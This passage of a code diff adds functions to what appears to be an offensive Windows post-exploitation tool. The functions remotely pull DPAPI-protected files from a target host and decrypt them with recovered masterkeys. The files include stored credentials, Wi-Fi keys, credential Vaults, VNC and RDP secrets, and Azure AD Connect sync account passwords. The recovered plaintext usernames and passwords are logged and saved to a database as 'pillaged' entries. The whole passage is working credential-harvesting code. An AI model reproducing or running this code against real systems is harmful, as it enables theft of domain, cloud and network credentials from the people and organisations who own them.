user.masterkeys_file + mydpapi = DPAPI(myoptions, self.logging) + guid = mydpapi.find_Blob_masterkey(raw_data=result['data']) + self.logging.debug(f"[{self.options.target_ip}] Looking for ADConnect masterkey : {guid}") + if guid != None: + machine_user=user=self.GetUserByName('MACHINE$') + masterkey = self.get_masterkey(user=machine_user, guid=guid, type='MACHINE') + if masterkey != None: + if masterkey['status'] == 'decrypted': + mydpapi.options.key = masterkey['key'] + # cred_data = mydpapi.decrypt_credential() + cryptkeys = [mydpapi.decrypt_blob(raw_data=result['data'],entropy=string_to_bin(mdbdata['entropy']))] + try: + logging.debug(f'Decrypting encrypted AD Sync configuration data with {cryptkeys}') + for index, record in enumerate(mdbdata['cryptedrecords']): + # Try decrypting with highest cryptkey record + self.logging.debug(f"[{self.options.target_ip}] {index} - {record}") + drecord = DumpSecrets.decrypt(record, cryptkeys[-1]).replace('\x00', '') + #print(drecord) + with open('r%d_xml_data.xml' % index, 'w') as outfile: + data = base64.b64decode(mdbdata['xmldata'][index]).decode('utf-16-le') + outfile.write(data) + with open('r%d_encrypted_data.xml' % index, 'w') as outfile: + outfile.write(drecord) + ctree = ET.fromstring(drecord) + dtree = ET.fromstring(data) + if 'forest-login-user' in data: + logging.debug('Local AD credentials') + el = dtree.find(".//parameter[@name='forest-login-domain']") + if el is not None: + logging.debug('\tDomain: %s', el.text) + username=el.text + el = dtree.find(".//parameter[@name='forest-login-user']") + if el is not None: + username+='/'+el.text + #logging.debug('\tUsername: %s', el.text) + else: + # Assume AAD config + logging.debug('Azure AD credentials') + el = dtree.find(".//parameter[@name='UserName']") + if el is not None: + username=el.text + logging.debug('\tUsername: %s', el.text) + # Can be either lower or with capital P + fpw = None + el = ctree.find(".//attribute[@name='Password']") + if el is not None: + fpw = el.text + el = ctree.find(".//attribute[@name='password']") + if el is not None: + fpw = el.text + if fpw: + # fpw = fpw[:len(fpw)/2] + '...[REDACTED]' + logging.debug('\tPassword: %s', fpw) + info+=f"{username} : {fpw}\n" + self.logging.info( + f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} ADCONNECT : {bcolors.OKGREEN} - {username} : {fpw}{bcolors.ENDC}") + ############PROCESSING DATA + self.db.add_credz(credz_type='ADConnect', + credz_username=username, + credz_password=fpw, + credz_target='', + credz_path='', # user.files['ADCONNECT']['path'], + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception in Get_AD_Connect 2{bcolors.ENDC}") + self.logging.debug(ex) + else : + self.logging.info( + f"[{self.options.target_ip}] [+] {bcolors.WARNING} Masterkey NOT Found for ADConnect {bcolors.ENDC}") + return info + + def Get_DPAPI_Protected_Files(self): + self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering DPAPI Secret blobs on the target{bcolors.ENDC}") + blacklist = ['.', '..'] + #credentials ? + #Vaults ? + #Parse chrome + #autres navigateurs ? + #CredHistory + #Appdata Roaming ? + + user_directories = [("Users\\{username}\\AppData\\Local\\Microsoft\\Credentials",'*','credential','DOMAIN'), + ("Windows\\ServiceProfiles\\ADSync\\AppData\\Local\\Microsoft\\Credentials", '*', 'credential', 'MACHINE-USER'), + ("Users\\{username}\\AppData\\Roaming\\Microsoft\\Credentials", '*', 'credential','DOMAIN'), + ("Users\\{username}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings","*.rdg",'rdg','DOMAIN') + ]#ADD Desktop for RDG + machine_directories = [("Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials",'*','credential','MACHINE'), + ("Windows\\ServiceProfiles\\ADSync\\AppData\\Local\\Microsoft\\Credentials", '*', + 'credential', 'MACHINE-USER'), + ("Users\\ADSync\\AppData\\Local\\Microsoft\\Credentials", '*', 'credential', 'MACHINE-USER'), + #Valider le %systemdir% selon la version de windows ? + ] + + for user in self.users: + if user.username == 'MACHINE$': + directories_to_use = machine_directories + else: + directories_to_use = user_directories + + #if len(user.masterkeys)>0:#Pas de masterkeys==pas de datas a recup + for info in directories_to_use: + my_dir,my_mask,my_blob_type, my_user_type=info + tmp_pwd = my_dir.format(username=user.username) ##ntpath.join(ntpath.join('Users', user.username), my_dir) + self.logging.debug(f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}") + my_directory = self.myfileops.do_ls(tmp_pwd,my_mask, display=False) + for infos in my_directory: + longname, is_directory = infos + self.logging.debug("ls returned file %s"%longname) + if longname not in blacklist and not is_directory: + try: + self.logging.debug( f"[{self.options.target_ip}] [+] Found {bcolors.OKBLUE}{user.username}{bcolors.ENDC} encrypted files {longname}") + # Downloading Blob file + localfile = self.myfileops.get_file(ntpath.join(tmp_pwd,longname)) + user.files[longname]={} + user.files[longname]['type'] = my_blob_type + user.files[longname]['status'] = 'encrypted' + user.files[longname]['path'] = localfile + + myoptions = copy.deepcopy(self.options) + myoptions.file = localfile # Masterkeyfile to parse + myoptions.masterkeys = None# user.masterkeys_file + myoptions.key = None + mydpapi = DPAPI(myoptions,self.logging) + guid=mydpapi.find_CredentialFile_masterkey() + self.logging.debug( f"[{self.options.target_ip}] Looking for {longname} masterkey : {guid}") + if guid != None : + masterkey=self.get_masterkey(user=user,guid=guid,type=my_user_type) + if masterkey!=None: + if masterkey['status']=='decrypted': + mydpapi.options.key = masterkey['key'] + cred_data = mydpapi.decrypt_credential() + if cred_data != None: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull of {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Secret {longname}{bcolors.ENDC}") + user.files[longname]['status'] = 'decrypted' + user.files[longname]['data'] = cred_data + self.process_decrypted_data(user,user.files[longname])#cred_data,user,localfile,my_blob_type) + else: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}") + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey - Masterkey not decrypted{bcolors.ENDC}") + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey- cant get masterkey {guid}{bcolors.ENDC}") + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}") + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}") + self.logging.debug(ex) + return 1 + + def GetWifi(self): + self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Wifi Keys{bcolors.ENDC}") + blacklist = ['.', '..'] + machine_directories = [("ProgramData\\Microsoft\\Wlansvc\\Profiles\\Interfaces",'*.xml')] + + for info in machine_directories: + user = self.GetUserByName('MACHINE$') + my_dir,my_mask=info + #interface name + self.logging.debug(f"[{self.options.target_ip}] [+] Looking for interfaces in {my_dir}")#No mask + my_directory = self.myfileops.do_ls(my_dir,'*', display=False) + for infos in my_directory: + longname, is_directory = infos + if longname not in blacklist and is_directory: + self.logging.debug(f"[{self.options.target_ip}] [+] Got Wifi interface {longname}") + tmp_pwd=ntpath.join(my_dir,longname) + my_directory2 = self.myfileops.do_ls(tmp_pwd,my_mask, display=False) + for infos2 in my_directory2: + longname2, is_directory2 = infos2 + if longname2 not in blacklist and not is_directory2: + self.logging.debug(f"[{self.options.target_ip}] [+] Got wifi config file {longname2}") + # Downloading Blob file + localfile = self.myfileops.get_file(ntpath.join(tmp_pwd,longname2)) + user.files[longname2] = {} + user.files[longname2]['type'] = 'wifi' + user.files[longname2]['status'] = 'encrypted' + user.files[longname2]['path'] = localfile + + + with open(localfile, 'rb') as f: + try: + file_data = f.read().replace(b'\x0a', b'').replace(b'\x0d', b'') + wifi_name = re.search(b'([^<]+)', file_data) + wifi_name = wifi_name.group(1) + user.files[longname2]['wifi_name'] = wifi_name + key_material_re = re.search(b'([0-9A-F]+)', file_data) + if not key_material_re: + continue + key_material = key_material_re.group(1) + #with open("key_material.tmp", "wb") as f: + # f.write(binascii.unhexlify(key_material)) + except Exception as ex: + self.logging.error(f"{bcolors.WARNING}Error in wifi parsing{bcolors.ENDC}") + self.logging.debug(ex) + + try: + myoptions = copy.deepcopy(self.options) + myoptions.file = None#"key_material.tmp" # BLOB to parse + myoptions.key = None + myoptions.masterkeys = None#user.masterkeys_file + mydpapi = DPAPI(myoptions, self.logging) + guid = mydpapi.find_Blob_masterkey(raw_data=binascii.unhexlify(key_material)) + self.logging.debug(f"[{self.options.target_ip}] Looking for {longname2} masterkey : {guid}") + if guid != None: + masterkey = self.get_masterkey(user=user, guid=guid, type='MACHINE') + if masterkey != None: + if masterkey['status'] == 'decrypted': + mydpapi.options.key = masterkey['key'] + #cred_data = mydpapi.decrypt_credential() + cred_data = mydpapi.decrypt_blob(raw_data=binascii.unhexlify(key_material)) + if cred_data != None: + user.files[longname2]['status'] = 'decrypted' + user.files[longname2]['data'] = cred_data + user.files[longname2]['secret'] = cred_data + self.logging.info( f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} Wifi {bcolors.OKBLUE}{wifi_name} {bcolors.OKGREEN} - {cred_data}{bcolors.ENDC}") + ############PROCESSING DATA + self.db.add_credz(credz_type='wifi', + credz_username=wifi_name.decode('utf-8'), + credz_password=cred_data.decode('utf-8'), + credz_target=wifi_name.decode('utf-8'), + credz_path=user.files[longname2]['path'], + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + #semf.process_decrypted_data(user.files[longname2])#cred_data, user, localfile, type='wifi', args=[wifi_name]) + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting WIFI Blob for {localfile} with Masterkey - Masterkey not decrypted{bcolors.ENDC}") + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting WIFI Blob for {localfile} with Masterkey- cant get masterkey {guid}{bcolors.ENDC}") + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting WIFIBlob for {localfile} with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}") + except Exception as ex: + self.logging.error(f"{bcolors.WARNING}Exception decrypting wifi credentials{bcolors.ENDC}") + self.logging.debug(ex) + return 1 + + def GetVNC(self): + try: + self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering VNC Passwords{bcolors.ENDC}") + myvnc = Vnc(self.myregops, self.myfileops, self.logging, self.options, self.db) + myvnc.vnc_from_filesystem() + myvnc.vnc_from_registry() + except Exception as ex: + self.logging.error(f"{bcolors.WARNING}Exception IN VNC GATHERING{bcolors.ENDC}") + self.logging.debug(ex) + + def GetVaults(self): + self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Vaults{bcolors.ENDC}") + blacklist = ['.', '..','UserProfileRoaming'] + #credentials ? + #Vaults ? + #Parse chrome + #autres navigateurs ? + #CredHistory + + user_directories = [("Users\\{username}\\AppData\\Local\\Microsoft\\Vault", '*', 'vault','DOMAIN')] + machine_directories = [("ProgramData\\Microsoft\\Vault",'*','vault','MACHINE'), + ("Windows\\system32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Vault\\",'*','vault','MACHINE')] #Windows hello pincode + + for user in self.users: + if user.username == 'MACHINE$': + directories_to_use = machine_directories + else: + directories_to_use = user_directories + + if len(user.masterkeys_file)>0:#Pas de masterkeys==pas de datas a recup + for info in directories_to_use: + my_dir, my_mask, my_blob_type, my_user_type = info + tmp_pwd = my_dir.format(username=user.username) #f"Users\\{user.username}\\{my_dir}"#ntpath.join(ntpath.join('Users', user.username), my_dir) + self.logging.debug("Looking for %s Vaults in %s with mask %s" % (user.username, tmp_pwd, my_mask)) + my_directory = self.myfileops.do_ls(tmp_pwd, my_mask, display=False) + for infos in my_directory: + longname, is_directory = infos + self.logging.debug("ls returned %s" % longname) + if longname not in blacklist and is_directory: + self.logging.debug("Got Vault Directory %s" % longname) + tmp_pwd2 = ntpath.join(tmp_pwd, longname) + try: + # First get the Policy.vpol + local_vpol_file = self.myfileops.get_file(ntpath.join(tmp_pwd2, "Policy.vpol")) + user.files[longname] = {} + user.files[longname]['type'] = my_blob_type + user.files[longname]['status'] = 'encrypted' + user.files[longname]['UID'] = longname + user.files[longname]['path'] = tmp_pwd2 + user.files[longname]['vpol_path'] = local_vpol_file + user.files[longname]['vpol_status'] = 'encrypted' + user.files[longname]['vsch'] = {} + user.files[longname]['vcrd'] = {} + user.files[longname]['data'] = '' + # Decrypt the keys + + myoptions = copy.deepcopy(self.options) + myoptions.vcrd = None # Vault File to parse + myoptions.masterkeys = None + myoptions.vpol = local_vpol_file + myoptions.key = None + mydpapi = DPAPI(myoptions,self.logging) + guid = mydpapi.find_Vault_Masterkey() + if guid != None: + masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type) + if masterkey != None: + if masterkey['status'] == 'decrypted': + mydpapi.options.key = masterkey['key'] + keys = mydpapi.decrypt_vault() + if keys != None: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Vault Policy file Decryption successfull - {local_vpol_file}{bcolors.ENDC}") + tmp_vaultkeys = [] + if keys['Key1']['Size'] > 0x24: + tmp_vaultkeys.append( + '0x%s' % binascii.hexlify(keys['Key2']['bKeyBlob'])) + tmp_vaultkeys.append( + '0x%s' % binascii.hexlify(keys['Key1']['bKeyBlob'])) + else: + tmp_vaultkeys.append( + '0x%s' % binascii.hexlify( + keys['Key2']['bKeyBlob']['bKey']).decode('latin-1')) + tmp_vaultkeys.append( + '0x%s' % binascii.hexlify( + keys['Key1']['bKeyBlob']['bKey']).decode('latin-1')) + self.logging.debug( f"[{self.options.target_ip}] Saving {len(tmp_vaultkeys)} Vault keys {bcolors.ENDC}") + user.files[longname]['vpol_status'] = 'decrypted' + user.files[longname]['status'] = 'decrypted' + user.files[longname]['data'] = tmp_vaultkeys + else: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey{bcolors.ENDC}") + continue + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey - Masterkey not decrypted{bcolors.ENDC}") + continue + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey- cant get masterkey {guid}{bcolors.ENDC}") + continue + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}") + continue + + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Policy.vpol {local_vpol_file} with Masterkey{bcolors.ENDC}") + self.logging.debug(ex) + continue + + + #Look for .vsch : Vault Schema file + + #Then gets *.vcrd files + my_directory2 = self.myfileops.do_ls(tmp_pwd2, my_mask, display=False) + self.logging.debug( f"[{self.options.target_ip}] Found {len(my_directory2)} files in {tmp_pwd2}") + for infos2 in my_directory2: + longname2, is_directory2 = infos2 + self.logging.debug("ls returned file %s"%longname2) + if longname2 not in blacklist and not is_directory2 and not longname2=="Policy.vpol": + try: + # Downloading Blob file + localfile = self.myfileops.get_file(ntpath.join(tmp_pwd2,longname2)) + if longname2[-4:]=='vsch': #PAS G2R2 pour le moment + user.files[longname]['vsch'][localfile]={} + user.files[longname]['vsch'][localfile]['status'] = 'encrypted' + user.files[longname]['vsch'][localfile]['type'] = 'vsch' + user.files[longname]['vsch'][localfile]['vault_name'] = longname2 + user.files[longname]['vsch'][localfile]['path'] = localfile + continue + elif longname2[-4:]=='vcrd': + user.files[longname]['vcrd'][localfile] = {} + user.files[longname]['vcrd'][localfile]['status'] = 'encrypted' + user.files[longname]['vcrd'][localfile]['type'] = 'vcrd' + user.files[longname]['vcrd'][localfile]['vault_name'] = longname2 + user.files[longname]['vcrd'][localfile]['path'] = localfile + + myoptions = copy.deepcopy(self.options) + myoptions.vcrd = localfile # Vault File to parse + myoptions.vaultkeys = tmp_vaultkeys + myoptions.vpol=None + myoptions.key = None + mydpapi = DPAPI(myoptions,self.logging) + vault_data,data_type = mydpapi.decrypt_vault() + if vault_data != None: + user.files[longname]['vcrd'][localfile]['status'] = 'decrypted' + user.files[longname]['vcrd'][localfile]['data'] = vault_data + user.files[longname]['vcrd'][localfile]['vault_type'] = data_type + self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}{user.username} {bcolors.OKGREEN}Vault .vcrd Decryption successfull - {localfile}{bcolors.ENDC}") + self.process_decrypted_vault(user,user.files[longname]['vcrd'][localfile])#vault_data,user,localfile,my_blob_type,args=[longname2,data_type]) + + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting vcrd Vault with Masterkey - {longname2} {bcolors.ENDC}") + self.logging.debug(ex) + return 1 + + def dump_to_file(self,localfile_encrypted,localdata_decrypted): + self.logging.debug(f"[{self.options.target_ip}] Dumping decrypted {localfile_encrypted} to file{bcolors.ENDC}") + try: + localfile_decrypted = os.path.join(os.path.split(localfile_encrypted)[0],os.path.split(localfile_encrypted)[1]+"_decrypted") + fh = open(localfile_decrypted, 'wb') + fh.write(f"{localdata_decrypted}".encode('utf-8')) + fh.close() + return 1 + except Exception as ex: + self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_to_file{bcolors.ENDC}") + self.logging.debug(ex) + + def process_decrypted_data(self, user, secret_file): # data ,user ,localfile,blob_type,args=[]): + try: + self.logging.debug(f"[{self.options.target_ip}] [+] process_decrypted_data of {secret_file} {bcolors.ENDC}") + blob_type = secret_file['type'] + localfile = secret_file['path'] + data = secret_file['data'] + if blob_type == 'rdg': + self.logging.debug("IT S A Remote Desktop Cred file") + clear_data = self.dump_credential_blob(data) + elif blob_type == 'credential': + + if 'Domain:target=TERMSRV' in data['Target'].decode('utf-16le') or 'LegacyGeneric:target=TERMSRV' in data['Target'].decode('utf-16le'): + clear_data=self.dump_CREDENTIAL_TSE(user, localfile, data) + elif 'Domain:target=msteams' in data['Target'].decode('utf-16le') or 'LegacyGeneric:target=msteams' in data['Target'].decode('utf-16le'): + self.logging.debug("IT S A MSTeam Credential!") + clear_data = self.dump_CREDENTIAL_TSE(user, localfile, data) + elif 'Domain:batch=TaskScheduler' in data['Target'].decode('utf-16le') or 'LegacyGeneric:target=msteams' in data['Target'].decode('utf-16le'): + self.logging.debug("IT S A TaskScheduler Cred!") + clear_data = self.dump_CREDENTIAL_TASKSCHEDULER(user, localfile, data) + '''Domain:batch=TaskScheduler:Task:{31368695-xxxxxxxxxxx} + Username : Domain\Administrateur + Unknown3 : @&&&&&&& + ''' + elif 'Domain:target=MicrosoftOffice16_Data:orgid' in data['Target'].decode('utf-16le') or 'LegacyGeneric:target=MicrosoftOffice16_Data:orgid' in data['Target'].decode('utf-16le'): + self.logging.debug("IT S A Office365 Cred!") + clear_data = self.dump_CREDENTIAL_TSE(user, localfile, data) + ''' + [CREDENTIAL] + LastWritten : 2020-02-18 08:48:39 + Flags : 48 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH) + Persist : 0x3 (CRED_PERSIST_ENTERPRISE) + Type : 0x1 (CRED_PERSIST_SESSION) + Target : LegacyGeneric:target=MicrosoftOffice15_Data:SSPI:v.xxxxxxx@xxxxxx.com + Description : + Unknown : + Username : + Unknown3 : xxxxxxxxx + + + + ''' + elif 'WindowsLive:target=virtualapp/didlogical' in data['Target'].decode('utf-16le'): + self.logging.debug("IT S A Windows Live service or application Cred!") + clear_data = self.dump_credential_blob(user, localfile, data) + # ADCONNECT + elif 'Microsoft_AzureADConnect_KeySet' in data['Target'].decode('utf-16le'): + self.logging.debug(f"{bcolors.WARNING}IT S A Microsoft_AzureADConnect_KeySet Cred!{bcolors.ENDC}") + clear_data = self.Get_AD_Connect(user, localfile, data) + elif 'LegacyGeneric:target=' in data['Target'].decode('utf-16le'):#Autres Targets + self.logging.debug("Other legacy Credential") + clear_data = self.dump_credential_blob(user, localfile, data) + else: + self.logging.debug("Unknown Cred Target content - testing as Credential BLOB") + clear_data = self.dump_credential_blob(user, localfile, data) + #clear_data = '' + secret_file['secret'] = clear_data + self.dump_to_file(localfile, clear_data) + self.logsecret(clear_data) + + # TSE Account + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Except 2 process_decrypted_data ALL for {localfile} {bcolors.ENDC}") + self.logging.debug(ex) + + + def dump_credential_blob(self,user, localfile, decrypted_blob): + #from impacket.ese import getUnixTime + try: + self.logging.debug("Dumping decrypted credential blob info to file") + #self.logging.debug(decrypted_blob) + info="\n" + info+=f"[CREDENTIAL]\n" + try: + info+=f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n" + info+=f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n" + info+=f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n" + info+=f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n" + self.logging.debug(info) + except Exception as ex: + self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}") + self.logging.debug(ex) + info+=f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n" + info+=f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n" + info+=f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n" + info+=f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n" + try: + info+=f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n" + password=f"{decrypted_blob['Unknown3'].decode('utf-16le')}" + except UnicodeDecodeError: + info+=f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n" + password = f"{decrypted_blob['Unknown3'].decode('latin-1')}" + #print() + if "WindowsLive:target=virtualapp" not in f"{decrypted_blob['Target'].decode('utf-16le')}" :#"WindowsLive:target=virtualapp/didlogical" On ne gere pas pour le moment// A voir pour rassembler le contenu en 1 nouveau blob ? + for entry in decrypted_blob.attributes: + try: + info += f"KeyWord : {entry['KeyWord'].decode('utf-16le')}\n" + info += f"Flags : {entry['Flags']}, {impacket.dpapi.getFlags(CREDENTIAL_FLAGS, entry['Flags'])}\n" + info += f"Data : {entry['Data']}\n" + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception 2 decrypted_blob.attributes {bcolors.ENDC}") + self.logging.debug(ex) + entry.dump() + continue + + ############PROCESSING DATA + self.db.add_credz(credz_type='credential-blob', + credz_username=decrypted_blob['Username'].decode('utf-16le'), + credz_password=password, + credz_target=decrypted_blob['Target'].decode('utf-16le'), + credz_path=localfile, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + + self.logging.debug(info) + return info + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}") + self.logging.debug(ex) + + def dump_CREDENTIAL_TSE(self, user,localfile,decrypted_blob): + #from impacket.ese import getUnixTime + try: + self.logging.debug("Dumping TSE decrypted credential blob info to file") + #self.logging.debug(decrypted_blob) + info="\n" + info+=f"[CREDENTIAL]\n" + try: + info+=f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n" + info+=f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n" + info+=f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n" + info+=f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n" + except Exception as ex: + self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}") + self.logging.debug(ex) + info+=f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n" + info+=f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n" + info+=f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n" + info+=f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n" + try: + info+=f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n" + password=decrypted_blob['Unknown3'].decode('utf-16le') + except UnicodeDecodeError: + info+=f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n" + password=decrypted_blob['Unknown3'].decode('latin-1') + ############PROCESSING DATA + self.db.add_credz(credz_type='browser-internet_explorer', + credz_username=decrypted_blob['Username'].decode('utf-16le'), + credz_password=password, + credz_target=decrypted_blob['Target'].decode('utf-16le'), + credz_path=localfile, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + self.logging.debug(info) + return info + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}") + self.logging.debug(ex) + + def dump_CREDENTIAL_MSOFFICE(self, user,localfile,decrypted_blob): + #from impacket.ese import getUnixTime + try: + self.logging.debug("Dumping Microsoft Office decrypted credential blob info to file") + #self.logging.debug(decrypted_blob) + info="\n" + info+=f"[CREDENTIAL]\n" + try: + info+=f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n" + info+=f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n" + info+=f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n" + info+=f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n" + except Exception as ex: + self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}") + self.logging.debug(ex) + info+=f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n" + info+=f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n" + info+=f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n" + info+=f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n" + try: + info+=f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n" + password=decrypted_blob['Unknown3'].decode('utf-16le') + except UnicodeDecodeError: + info+=f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n" + password=decrypted_blob['Unknown3'].decode('latin-1') + + + ############PROCESSING DATA + self.db.add_credz(credz_type='browser-internet_explorer', + credz_username=decrypted_blob['Username'].decode('utf-16le'), + credz_password=password, + credz_target=decrypted_blob['Target'].decode('utf-16le'), + credz_path=localfile, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + self.logging.debug(info) + return info + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}") + self.logging.debug(ex) + + def dump_CREDENTIAL_TASKSCHEDULER(self, user,localfile,decrypted_blob): + #from impacket.ese import getUnixTime + try: + self.logging.debug("Dumping TASKSCHEDULER decrypted credential blob info to file") + #self.logging.debug(decrypted_blob) + info="\n" + info+=f"[CREDENTIAL]\n" + try: + info+=f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n" + info+=f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n" + info+=f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n" + info+=f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n" + except Exception as ex: + self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}") + self.logging.debug(ex) + info+=f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n" + info+=f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n" + info+=f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n" + info+=f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n" + try: + info+=f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n" + password=decrypted_blob['Unknown3'].decode('utf-16le') + except UnicodeDecodeError: + info+=f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n" + password=decrypted_blob['Unknown3'].decode('latin-1') + ############PROCESSING DATA + self.db.add_credz(credz_type='taskscheduler', + credz_username=decrypted_blob['Username'].decode('utf-16le'), + credz_password=password, + credz_target=decrypted_blob['Target'].decode('utf-16le'), + credz_path=localfile, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + self.logging.debug(info) + return info + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}") + self.logging.debug(ex) + + def process_decrypted_vault(self,user,secret_file):#data ,user 